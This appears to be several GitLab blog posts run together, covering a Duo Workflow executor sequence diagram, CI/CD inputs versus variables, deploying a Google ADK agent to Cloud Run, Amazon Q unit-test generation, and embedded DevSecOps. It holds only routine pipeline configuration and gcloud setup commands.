sequenceDiagram
participant DWS as duo-workflow-service
participant DWE as duo-workflow-executor
participant Runner as ExecutionRunner
participant ActionExecutor as Action Executor
participant FileSystem as File System/Commands


Note over DWS, DWE: gRPC Bidirectional Streaming (ExecuteWorkflow)

%% Connection Establishment
DWE->>DWS: gRPC Connection with Headers
Note over DWE, DWS: Headers: authorization (Bearer token)<br/>x-gitlab-authentication-type: oidc<br/>x-gitlab-realm, x-gitlab-global-user-id<br/>x-gitlab-oauth-token, x-gitlab-base-url<br/>x-gitlab-instance-id, x-request-id<br/>x-gitlab-namespace-id, x-gitlab-project-id


%% Workflow Start Request
DWE->>DWS: ClientEvent{StartWorkflowRequest}
Note over DWE, DWS: StartWorkflowRequest:<br/>- ClientVersion<br/>- WorkflowDefinition<br/>- Goal<br/>- WorkflowID<br/>- WorkflowMetadata<br/>- ClientCapabilities[]


%% Action Processing Loop
loop Action Processing
    DWS->>DWE: Action Message
    Note over DWS, DWE: Action Types:<br/>- Action_RunCommand {program, flags[], arguments[]}<br/>- Action_RunGitCommand {command, arguments[], repositoryUrl}<br/>- Action_RunReadFile {filepath}<br/>- Action_RunWriteFile {filepath, contents}<br/>- Action_RunEditFile {filepath, oldString, newString}<br/>- Action_RunHTTPRequest {method, path, body}<br/>- Action_ListDirectory {directory}<br/>- Action_FindFiles {namePattern}<br/>- Action_Grep {searchDirectory, pattern, caseInsensitive}<br/>- Action_NewCheckpoint {}<br/>- Action_RunMCPTool {}


    DWE->>Runner: Receive Action
    Runner->>Runner: processWorkflowActions()
    Runner->>ActionExecutor: executeAction(ctx, action)
    
    alt Action_RunCommand
        ActionExecutor->>FileSystem: Execute Shell Command
        Note over ActionExecutor, FileSystem: Executes: program + flags + arguments<br/>in basePath directory
        FileSystem-->>ActionExecutor: Command Output + Exit Code
    
    else Action_RunReadFile
        ActionExecutor->>FileSystem: Read File
        Note over ActionExecutor, FileSystem: Check gitignore rules<br/>Read file contents
        FileSystem-->>ActionExecutor: File Contents
    
    else Action_RunWriteFile
        ActionExecutor->>FileSystem: Write File
        Note over ActionExecutor, FileSystem: Check gitignore rules<br/>Create/overwrite file
        FileSystem-->>ActionExecutor: Success/Error Message
    
    else Action_RunEditFile
        ActionExecutor->>FileSystem: Edit File
        Note over ActionExecutor, FileSystem: Read → Replace oldString with newString → Write<br/>Check gitignore rules
        FileSystem-->>ActionExecutor: Edit Result Message
    
    else Action_RunGitCommand
        ActionExecutor->>FileSystem: Execute Git Command 
        Note over ActionExecutor, FileSystem: Git operations with authentication<br/>Uses provided git config
        FileSystem-->>ActionExecutor: Git Command Output
    
    else Action_RunHTTPRequest
        ActionExecutor->>DWS: HTTP Request to GitLab API
        Note over ActionExecutor, DWS: Method: GET/POST/PUT/DELETE<br/>Path: API endpoint<br/>Body: Request payload<br/>Headers: Authorization
        DWS-->>ActionExecutor: HTTP Response
    
    else Action_ListDirectory
        ActionExecutor->>FileSystem: List Directory Contents
        Note over ActionExecutor, FileSystem: Respect gitignore rules
        FileSystem-->>ActionExecutor: Directory Listing
    
    else Action_FindFiles
        ActionExecutor->>FileSystem: Find Files by Pattern
        Note over ActionExecutor, FileSystem: Recursive search with name pattern<br/>Respect gitignore rules
        FileSystem-->>ActionExecutor: File Paths List
    
    else Action_Grep
        ActionExecutor->>FileSystem: Search Text Pattern
        Note over ActionExecutor, FileSystem: Recursive text search<br/>Case sensitive/insensitive option
        FileSystem-->>ActionExecutor: Search Results
    
    else Action_NewCheckpoint/Action_RunMCPTool
        ActionExecutor->>ActionExecutor: No-op Action
        Note over ActionExecutor: Returns empty success result
    end


    ActionExecutor-->>Runner: Action Result (string)
    
    alt Result Size Check
        Runner->>Runner: Check if result > 4MB
        Note over Runner: If result exceeds MaxMessageSize (4MB)<br/>Replace with error message about size limit
    end


    Runner->>DWE: ActionResponse
    DWE->>DWS: ClientEvent{ActionResponse}
    Note over DWE, DWS: ActionResponse:<br/>- RequestID (matches Action.RequestID)<br/>- Response (execution result string)
end


%% Workflow Completion
DWE->>DWS: CloseSend()
Note over DWE, DWS: Signal end of workflow execution


%% Analytics and Cleanup
Runner->>Runner: Send Analytics Event (Finish)
DWE->>DWE: Token Revocation (if enabled)
DWE->>DWS: Close gRPC Connection

This diagram reveals several important architectural insights that would have taken considerable time to extract manually:

• Bidirectional communication: The workflow executor both initiates requests and responds to service actions.
• Rich payload structure: Each action type has specific parameters and expected responses.
• Multiple integration points: The executor interacts with local filesystem, Git repositories, and GitLab APIs.
• Comprehensive action set: Nine different action types handle everything from file operations to HTTP requests.
• Proper lifecycle management: Clear connection establishment and teardown patterns.

What impressed me most was how the agent automatically included the detailed payload structures for each action type. This level of detail transforms the diagram from a high-level overview into actionable documentation that other developers can immediately use.

Looking ahead

This demonstration represents just one use case for GitLab Duo Agent Platform. The same contextual understanding and collaborative approach that made documentation generation seamless can be applied to:

• Code reviews: Agents can analyze merge requests with full project context
• Testing: Generate comprehensive test suites based on actual usage patterns
• Debugging: Trace issues across multiple services and components
• Security scanning: Identify vulnerabilities with understanding of your specific architecture
• CI/CD optimization: Improve pipeline performance based on historical data

GitLab Duo Agent Platform will enter public beta soon so join the wait list today.

Stay tuned to the GitLab Blog and social channels for additional updates. GitLab Duo Agent Platform is evolving rapidly with specialized agents, custom workflows, and community-driven extensions on the roadmap.

Learn more

• Agentic AI guides and resources
• GitLab Duo Agent Platform: What’s next for intelligent DevSecOps
• What is agentic AI?
• From vibe coding to agentic AI: A roadmap for technical leaders

While CI/CD variables have served as the traditional method for passing parameters to pipelines, they were originally designed for storing configuration settings — not as a sophisticated parameter-passing mechanism for complex workflows. This fundamental mismatch has created reliability issues, security concerns, and maintenance overhead that inputs elegantly eliminate.

This article demonstrates why CI/CD inputs should be your preferred approach for pipeline parameters. You'll discover how inputs provide type safety, prevent common pipeline failures, eliminate variable collision issues, and create more maintainable automation. You'll also see practical examples of inputs in action and how they solve real-world challenges, which we hope will encourage you to transition from variable-based workarounds to input-powered reliability.

The hidden costs of variable-based parameter passing

The problems with using variables for parameter passing are numerous and frustrating.

No type validation

Variables are strings. There is no type validation, meaning a pipeline expecting a boolean or a number, but accidentally receives a string. This leads to unexpected failures deep into the pipeline execution. In the case of a deployment workflow for example, hours after it was started a critical production deployment fails because a boolean check in a variable was not passed as expected.

Runtime mutability

Variables can be modified throughout the pipeline runtime, creating unpredictable behavior when multiple jobs attempt to change the same values. For example, deploy_job_a sets DEPLOY_ENV=staging, but deploy_job_b changes the DEPLOY_ENV value to production.

Security risks

Security concerns arise because variables intended as simple parameters often receive the same access permissions as sensitive secrets. There's no clear contract defining what parameters a pipeline expects, their types, or their default values. A simple BUILD_TYPE parameter, that seems innocuous at first glance, suddenly has access to production secrets simply because variables do not inherently distinguish between parameters and sensitive data.

Perhaps most problematically, error detection happens too late in the process. A misconfigured variable might not cause a failure until minutes or even hours into a pipeline run, wasting valuable CI/CD resources and developer time. Teams have developed elaborate workarounds such as custom validation scripts, extensive documentation, and complex naming conventions just to make variable-based parameter passing somewhat reliable.

Many users have requested local debugging capabilities to test pipeline configurations before deployment. While this seems like an obvious solution, it quickly breaks down in practice. Enterprise CI/CD workflows integrate with dozens of external systems — cloud providers, artifact repositories, security scanners, deployment targets — that simply can't be replicated locally. Even if they could, the complexity would make local testing environments nearly impossible to maintain. This mismatch forced us to reframe the problem entirely. Instead of asking "How can we test pipelines locally?" we started asking "How can we prevent configuration issues caused by variable-based parameter passing before users run a CI/CD automation workflow?"

Understanding variable precedence

GitLab's variable system includes multiple precedence levels to provide flexibility for different use cases. While this system serves many valid scenarios like allowing administrators to set instance- or group-wide defaults while letting individual projects override them when needed, it can create challenges when building reusable pipeline components.

When creating components or templates that will be used across different projects and groups, the variable precedence hierarchy can make behavior less predictable. For example, a template that works perfectly in one project might behave differently in another due to group- or instance-level variable overrides that aren't visible in a pipeline configuration.

When including multiple templates, it also can be challenging to track which variables are being set where and how they might interact.

In addition, components authors need to document not just what variables their template uses, but also potential conflicts with variables that might be defined at higher precedence levels.

Variable precedence examples

Main pipeline file (.gitlab-ci.yml):

variables:
  ENVIRONMENT: production  # Top-level default for all jobs
  DATABASE_URL: prod-db.example.com

include:
  - local: 'templates/test-template.yml'
  - local: 'templates/deploy-template.yml'

Test template (templates/test-template.yml):

run-tests:
  variables:
    ENVIRONMENT: test  # Job-level variable overrides the default
  script:
    - echo "Running tests in $ENVIRONMENT environment"  
    - echo "Database URL is $DATABASE_URL"  # Still inherits prod-db.example.com!
    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL
    `# Issue: Tests run in "test" environment but against production database`

Deploy template (templates/deploy-template.yml):

deploy-app:
  script:
    - echo "Deploying to $ENVIRONMENT"  # Uses production (top-level default)
    - echo "Database URL is $DATABASE_URL"  # Uses prod-db.example.com
    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL
    # This will deploy to production as intended

The challenges in this example:

1. Partial inheritance: The test job gets ENVIRONMENT=test but still inherits DATABASE_URL=prod-db.example.com.

2. Coordination complexity: Template authors must know what top-level variables exist and might conflict.

3. Override behavior: Job-level variables with the same name override defaults, but this isn't always obvious.

4. Hidden dependencies: Templates become dependent on the main pipeline's variable names.

GitLab recognized these pain points and introduced CI/CD inputs as a purpose-built solution for passing parameters to pipelines, offering typed parameters with built-in validation that occurs at pipeline creation time rather than during execution.

CI/CD inputs fundamentals

Inputs provide typed parameters for reusable pipeline configuration with built-in validation at pipeline creation time, designed specifically for defining values when the pipeline runs. They create a clear contract between the pipeline consumer and the configuration, explicitly defining what parameters are expected, their types, and constraints.

Configuration flexibility and scope

One of the advantages of inputs is their configuration-time flexibility. Inputs are evaluated and interpolated during pipeline creation using the interpolation format $[[ inputs.input-id ]], meaning they can be used anywhere in your pipeline configuration — including job names, rules conditions, images, and any other YAML configuration element. This eliminates the long-standing limitation of variable interpolation in certain contexts.

One common use case we've seen is that users define their job names like test-$[[ inputs.environment ]]-deployment.

When using inputs in job names, you can prevent naming conflicts when the same component is included multiple times in a single pipeline. Without this capability, including the same component twice would result in job name collisions, with the second inclusion overwriting the first. Input-based job names ensure each inclusion creates uniquely named jobs.

Before inputs:

test-service:
  variables:
    SERVICE_NAME: auth-service
    ENVIRONMENT: staging
  script:
    - run-tests-for $SERVICE_NAME in $ENVIRONMENT

With inputs:

spec:
  inputs:
    environment:
      type: string
    service_name:
      type: string

test-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:
  script:
    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]

When included multiple times with different inputs, this creates jobs like test-auth-service-staging, test-payment-service-production, and test-notification-service-development. Each job has a unique, meaningful name that clearly indicates its purpose, making pipeline visualization much clearer than having multiple jobs with identical names that would overwrite each other.

Now let's go back to the first example in the top of this blog and use inputs, one immediate benefit is that instead of maintaining multiple templates file we can use one reusable template with different input values:

spec:
  inputs:
    environment:
      type: string
    database_url:
      type: string
    action:
      type: string
---

$[[ inputs.action ]]-$[[ inputs.environment ]]:
  script:
    - echo "Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment"
    - echo "Database URL is $[[ inputs.database_url ]]"
    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]

And in the main gitlab-ci.yml file we can include it twice (or more) with different values, making sure we avoid naming collisions

include:
  - local: 'templates/environment-template.yml'
    inputs:
      environment: test
      database_url: test-db.example.com
      action: tests
  - local: 'templates/environment-template.yml'
    inputs:
      environment: production
      database_url: prod-db.example.com
      action: deploy

The result: Instead of maintaining separate YAML files for testing and deployment jobs, you now have a single reusable template that handles both use cases safely. This approach scales to any number of environments or job types — reducing maintenance overhead, eliminating code duplication, and ensuring consistency across your entire pipeline configuration. One template to maintain instead of many, with zero risk of variable collision or configuration drift.

Validation and type safety

Another key difference between variables and inputs lies in validation capabilities. Inputs support different value types, including strings, numbers, booleans, and arrays, with validation occurring immediately when the pipeline is created. If you define an input as a boolean but pass a string, GitLab will reject the pipeline before any jobs execute, saving time and resources.

Here is an example of the enormous benefit of type validation.

Without type validation (variables):

variables:
  ENABLE_TESTS: "true"  # Always a string
  MAX_RETRIES: "3"      # Always a string

deploy_job:
  script:
    - if [ "$ENABLE_TESTS" = true ]; then  # This fails!
        echo "Running tests"
      fi
    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: "31"

Problem: The boolean check fails because “true” (string) is not equal to true, (boolean).

With type validation (inputs):

spec:
  inputs:
    enable_tests:
      type: boolean
      default: true
    max_retries:
      type: number
      default: 3

      
deploy_job:
  script:
    - if [ "$[[ inputs.enable_tests ]]" = true ]; then  # Works correctly
        echo "Running tests"
      fi
    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4

Real-world impact for variable type validation failure: A developer or a process triggers a GitLab CI/CD pipeline with ENABLE_TESTS = yes instead of true. Assuming it takes on average 30 minutes before the deployment job starts, then finally when this job kicks off, 30 minutes or longer into the pipeline run, the deployment script tries to evaluate the boolean and fails.

Imagine the impact in terms of time-to-market and, of course. developer time trying to debug why a seemingly basic deploy job failed.

With type inputs, GitLab CI/CD will immediately throw an error and provide an explicit error message regarding the type mismatch.

Security and access control

Inputs provide enhanced security through controlled parameter passing with explicit contracts that define exactly what values are expected and allowed, creating clear boundaries between parameter passing to the pipeline, In addition. inputs are immutable. Once the pipeline starts, they cannot be modified during execution, providing predictable behavior throughout the pipeline lifecycle and eliminating the security risks that come from runtime variable manipulation.

Scope and lifecycle

When you define variables using the variables: keyword at the top level of your .gitlab-ci.yml file, these variables become defaults for all jobs in your entire pipeline. When you include templates, you must consider what variables you've defined globally, as they can interact with the template's expected behavior through GitLab's variable precedence order.

Inputs are defined in CI configuration files (e.g. components or templates) and assigned values when a pipeline is triggered, allowing you to customize reusable CI configurations. They exist solely for pipeline creation and configuration time, scoped to the CI configuration file where they're defined, and become immutable references once the pipeline begins execution. Since each component maintains its own inputs, there is no risk of inputs interfering with other components or templates in your pipeline, eliminating variable collision and override issues that can occur with variable-based approaches.

Working with variables and inputs together

We recognize that teams have extensive investments in their variable-based workflows, and migration to inputs doesn't happen overnight. That's why we've developed capabilities that allow inputs and variables to work seamlessly together, providing a bridge between existing variables and the benefits of inputs while overcoming some key challenges in variable expansion.

Let's look at this real-world example.

Variable expansion in rules conditions

A common challenge occurs when using variables that contain other variable references in rules:if conditions. GitLab only expands variables one level deep during rule evaluation, which can lead to unexpected behavior:

# This doesn't work as expected

variables:
  TARGET_ENV:
    value: "${CI_COMMIT_REF_SLUG}"

deploy-job:
  rules:
    - if: '$TARGET_ENV == "production"'  # Compares "${CI_COMMIT_REF_SLUG}" != "production"
      variables:
        DEPLOY_MODE: "blue-green"

The expand_vars function solves this by forcing proper variable expansion in inputs:

spec:
  inputs:
    target_environment:
      description: "Target deployment environment"
      default: "${CI_COMMIT_REF_SLUG}"
---


deploy-job:
  rules:
    - if: '"$[[ inputs.target_environment | expand_vars ]]" == "production"'
      variables:
        DEPLOY_MODE: "blue-green"
        APPROVAL_REQUIRED: "true"
    - when: always
      variables:
        DEPLOY_MODE: "rolling"
        APPROVAL_REQUIRED: "false"
  script:
    - echo "Target: $[[ inputs.target_environment | expand_vars ]]"
    - echo "Deploy mode: ${DEPLOY_MODE}"

Why this matters

Without expand_vars, rule conditions evaluate against the literal variable reference (like "${CI_COMMIT_REF_SLUG}") rather than the expanded value (like "production"). This leads to rules that never match when you expect them to, breaking conditional pipeline logic.

Important notes about expand_vars:

• Only variables that can be used with the include keyword are supported

• Variables must be unmasked (not marked as protected/masked)

• Nested variable expansion is not supported

• Rule conditions using expand_vars must be properly quoted: '"$[[ inputs.name | expand_vars ]]" == "value"'

This pattern solves the single-level variable expansion limitation, working for any conditional logic that requires comparing fully resolved variable values.

Function chaining for advanced processing

Along with expand_vars, you can use functions like truncate to shorten values for compliance with naming restrictions (such as Kubernetes resource names), creating sophisticated parameter processing pipelines while maintaining input safety and predictability.

spec:  
  inputs:
    service_identifier:
      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'
---

create-resource:
  script:
    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]

This integration capability allows you to adopt inputs gradually while leveraging your existing variable infrastructure, making the migration path much smoother.

From components only to CI pipelines

Up until GitLab 17.11, GitLab users were able to use inputs only in components and templates through the include: syntax. This limited their use to reusable CI/CD configurations, but didn't address the broader need for dynamic pipeline customization.

Pipeline-wide inputs support

Starting with GitLab 17.11, GitLab users can now use inputs to safely modify pipeline behavior across all pipeline execution contexts, replacing the traditional reliance on pipeline variables. This expanded support includes:

• Scheduled pipelines: Define inputs with defaults for automated pipeline runs while allowing manual override when needed.

• Downstream pipelines: Pass structured inputs to child and multi-project pipelines with proper validation and type safety.

• Manual pipelines: Present users with a clean, validated form interface.

Those enhancements, with more to follow, allow teams to modernize their pipelines while maintaining backward compatibility gradually. Once inputs are fully adopted, users can disable pipeline variables to ensures a more secure and predictable CI/CD environment.

Summary

The transition from variables to inputs represents more than just a technical upgrade — it's a shift toward more maintainable, predictable, and secure CI/CD pipelines. While variables continue to serve important purposes for configuration, inputs provide the parameter-passing capabilities that teams have been working around for years.

We understand that variables are deeply embedded in existing workflows, which is why we've built bridges between the two systems. The expand_vars function and other input capabilities allow you to adopt inputs gradually while leveraging your existing variable infrastructure.

By starting with new components and templates, then gradually migrating high-impact workflows, you'll quickly see the benefits of clearer contracts, earlier error detection, and more reliable automation that scales across your organization. Additionally, moving to inputs creates an excellent foundation for leveraging GitLab's CI/CD Catalog, where reusable components with typed interfaces become powerful building blocks for your DevOps workflows but more on that in our next blog post.

Your future self and your teammates will thank you for the clarity and reliability that inputs bring to your CI/CD workflows, while still being able to work with the variable systems you've already invested in.

What's next

Looking ahead, we're expanding inputs to solve two key challenges: enhancing pipeline triggering with cascading options that dynamically adjust based on user selections, and providing job-level inputs that allow users to retry individual jobs with different parameter values. We encourage you to follow these discussions, share your feedback, and contribute to shaping these features. You can also provide general feedback on CI/CD inputs through our feedback issue.

Read more

• How to include file references in your CI/CD components
• CI/CD inputs documentation
• CI/CD Catalog goes GA: No more building pipelines from scratch
• GitLab environment variables demystified

What are AI agents and why do they matter?

Agentic AI represents a significant evolution in artificial intelligence. Unlike traditional generative AI tools that require constant human direction, AI agents leverage advanced language models and natural language processing to take independent action. These systems can understand requests, make decisions, and execute multistep plans to achieve goals autonomously.

This tutorial uses Google's ADK, a flexible and modular framework for developing and deploying AI agents. While optimized for Gemini and the Google ecosystem, ADK is model-agnostic, deployment-agnostic, and built for compatibility with other frameworks.

Our demo application: Canada City Advisor

To demonstrate the deployment process, we'll work with a practical example: the Canada City Advisor. This AI agent helps users find their ideal Canadian city based on their preferences and constraints.

Here's how it works:

• Users input their budget requirements and lifestyle preferences.

• The root agent coordinates two sub-agents:

  • A budget analyzer agent that evaluates financial constraints. This draws data obtained from the Canada Mortgage and Housing Corporation.
  • A lifestyle preferences agent that matches cities to user needs. This includes a weather service that uses Open-Meteo to get the proper city information.

• The system generates personalized city recommendations

This multi-agent architecture showcases the power of agentic AI - different specialized agents working together to solve a complex problem. The sub-agents are only invoked when the root agent determines that budget and lifestyle analysis are needed.

Prerequisites

Before we begin, ensure you have:

• A Google Cloud project with the following APIs enabled:

  • Cloud Run API
  • Artifact Registry API
  • Vertex AI API

• A GitLab project for your source code

• Appropriate permissions in both GitLab and Google Cloud

Step 1: Set up IAM integration with Workload Identity Federation

The first step establishes secure, keyless authentication between GitLab and Google Cloud using Workload Identity Federation. This eliminates the need for service account keys and improves security.

In your GitLab project:

1. Navigate to Settings > Integrations > Google Cloud IAM.

2. Provide the following information:

   • Project ID: Your Google Cloud project ID
   • Project Number: Found in your Google Cloud console
   • Pool ID: A unique identifier for your workload identity pool
   • Provider ID: A unique identifier for your identity provider

GitLab will generate a script for you. Copy this script and run it in your Google Cloud Shell to create the Workload Identity Federation.

Step 2: Configure Google Artifact Registry integration

Next, we'll set up the connection to Google Artifact Registry where our container images will be stored.

1. In GitLab, go to Settings > Integrations > Google Artifact Registry.

2. Enter:

   • Google Cloud Project ID: Same as in Step 1
   • Repository Name: Name of an existing Artifact Registry repository
   • Location: The region where your repository is located

Important: The repository must already exist in Artifact Registry. GitLab won't create a new one for you in this context.

GitLab will generate commands to set up the necessary permissions. Run these in Google Cloud Shell.

Additionally, add these roles to your service principal for Cloud Run deployment:

• roles/run.admin

• roles/iam.serviceAccountUser

• roles/cloudbuild.builds.editor

You can add these roles using the following gcloud commands:

GCP_PROJECT_ID="<your-project-id>" #replace

GCP_PROJECT_NUMBER="<your-project-number>" #replace

GCP_WORKLOAD_IDENTITY_POOL="<your-pool-id>" #replace


gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/run.admin'

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/iam.serviceAccountUser'

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/cloudbuild.builds.editor'

Step 3: Create the CI/CD pipeline

Now for the exciting part – let's build our deployment pipeline! GitLab's CI/CD components make this remarkably simple.

Create a .gitlab-ci.yml file in your project root:

stages:
  - build
  - test
  - upload
  - deploy

variables:
  GITLAB_IMAGE: $CI_REGISTRY_IMAGE/main:$CI_COMMIT_SHORT_SHA
  AR_IMAGE: $GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_LOCATION-docker.pkg.dev/$GOOGLE_ARTIFACT_REGISTRY_PROJECT_ID/$GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_NAME/main:$CI_COMMIT_SHORT_SHA

build:
  image: docker:24.0.5
  stage: build
  services:
    - docker:24.0.5-dind
  before_script:
    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
  script:
    - docker build -t $GITLAB_IMAGE .
    - docker push $GITLAB_IMAGE

include:
  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Dependency-Scanning.gitlab-ci.yml
  - template: Jobs/SAST.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml
  - template: Jobs/Secret-Detection.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml
  - component: gitlab.com/google-gitlab-components/artifact-registry/upload-artifact-registry@main
    inputs:
      stage: upload
      source: $GITLAB_IMAGE
      target: $AR_IMAGE
  - component: gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@main
    inputs:
      stage: deploy
      project_id: "<your-project-id>" #replace
      service: "canadian-city"
      region: "us-central1"
      image: $AR_IMAGE

The pipeline consists of four stages:

1. Build: Creates the Docker container with your AI agent

2. Test: Runs security scans (container scanning, dependency scanning, SAST)

3. Upload: Pushes the container to Artifact Registry

4. Deploy: Deploys to Cloud Run

The great thing about using GitLab's CI/CD components is that you only need to provide a few parameters - the components handle all the complex authentication and deployment logic.

Step 4: Deploy and test

With everything configured, it's time to deploy:

1. Commit your code and .gitlab-ci.yml to your GitLab repository.

2. The pipeline will automatically trigger.

3. Monitor the pipeline progress in GitLab's CI/CD interface.

4. Once complete, find your Cloud Run URL in the Google Cloud Console.

You'll see each stage execute:

• Build stage creates your container.

• Test stage runs comprehensive security scans.

• Upload stage pushes to Artifact Registry.

• Deploy stage creates or updates your Cloud Run service.

Security benefits

This approach provides several security advantages:

• No long-lived credentials: Workload Identity Federation eliminates service account keys.

• Automated security scanning: Every deployment is scanned for vulnerabilities.

• Audit trail: Complete visibility of who deployed what and when.

• Principle of least privilege: Fine-grained IAM roles limit access.

Summary

By combining GitLab's security features with Google Cloud's powerful AI and serverless platforms, you can deploy AI agents that are both secure and scalable. The integration between GitLab and Google Cloud eliminates much of the complexity traditionally associated with such deployments.

Use this tutorial's complete code example to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with a free trial.

Here's where GitLab Duo with Amazon Q , which delivers agentic AI throughout the software development lifecycle for AWS customers, can help transform your QA process. This AI-powered capability can automatically generate comprehensive unit tests for your code, dramatically accelerating your quality assurance workflow. Instead of spending hours writing tests manually, you can let AI analyze your code and create tests that ensure optimal coverage and consistent quality across your entire application.

How GitLab Duo with Amazon Q works

So how does this work? Let's walk through the process together. When you're working on a new feature, you start by selecting the Java class you've added to your project through a merge request. You simply navigate to your merge request and click on the "Changes" tab to see the new code you've added.

Next, you invoke Amazon Q by entering a quick action command. All you need to do is type /q test in the issue comment box. It's that simple – just a forward slash, the letter "q", and the word "test".

Once you hit enter, Amazon Q springs into action. It analyzes your selected code, understanding its structure, logic, and purpose. The AI examines your class methods, dependencies, and potential edge cases to determine what tests are needed.

Within moments, Amazon Q generates comprehensive unit test coverage for your new class. It creates tests that cover not just the happy path, but also edge cases and error conditions you might have overlooked. The generated tests follow your project's existing patterns and conventions, ensuring they integrate seamlessly with your codebase.

Why use GitLab Duo with Amazon Q?

Here's the bottom line: You started with a critical challenge – maintaining high-quality applications while dealing with time constraints and inconsistent testing practices. GitLab Duo with Amazon Q addresses this by automating the test generation process, ensuring optimal code coverage and consistent testing standards. The result? Issues are detected before deployment, your applications maintain their quality, and you can develop software faster without sacrificing reliability.

Key benefits of this feature:

• Significantly reduces time spent writing unit tests
• Ensures comprehensive test coverage across your codebase
• Maintains consistent testing quality across all team members
• Catches issues before they reach production
• Accelerates your overall development velocity

Ready to see this game-changing feature in action? Watch how GitLab Duo with Amazon Q can transform your quality assurance process:

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Get started with GitLab Duo with Amazon Q today

Want to learn more about GitLab Duo with Amazon Q? Visit the GitLab and AWS partner page for detailed information.

Agentic AI resources

• Agentic AI guides and resources
• What is agentic AI?
• GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available
• GitLab Duo with Amazon Q documentation

What is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.

Convergence of market forces

Three powerful market forces are converging to compel embedded teams to modernize their development practices.

1. The software-defined product revolution

Products once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to $1.24 trillion by 2030, a massive 34% compound annual growth rate. The software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain 650 million lines of code. Traditional embedded development approaches cannot handle this level of software complexity.

2. Hardware virtualization as a technical enabler

Hardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.

These virtualization technologies provide a foundation for continuous integration (CI). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.

3. The competitive and economic reality

Three interrelated forces are reshaping the competitive landscape for embedded development:

• The talent war has shifted decisively. As an embedded systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.
• This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, SpaceX performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match.
• The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.

Organizations are adopting embedded DevSecOps to help combat these challenges.

Priority transformation areas

Based on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways.

From hardware bottlenecks to continuous testing

Hardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral. Addressing this challenge requires a multifaceted approach including:

• Automating the orchestration of expensive shared hardware test benches among embedded developers
• Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines
• Standardizing builds with version-controlled environments

Embedded developers can accomplish this with GitLab's On-Premises Device Cloud, a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.

Automating compliance and security governance

Embedded systems face strict regulatory requirements. Manual compliance processes are unsustainable. Leading organizations are transforming how they comply with these requirements by:

• Replacing manual workflows with automated compliance frameworks
• Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines
• Automating approval workflows, enforcing code reviews, and maintaining audit trails
• Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C

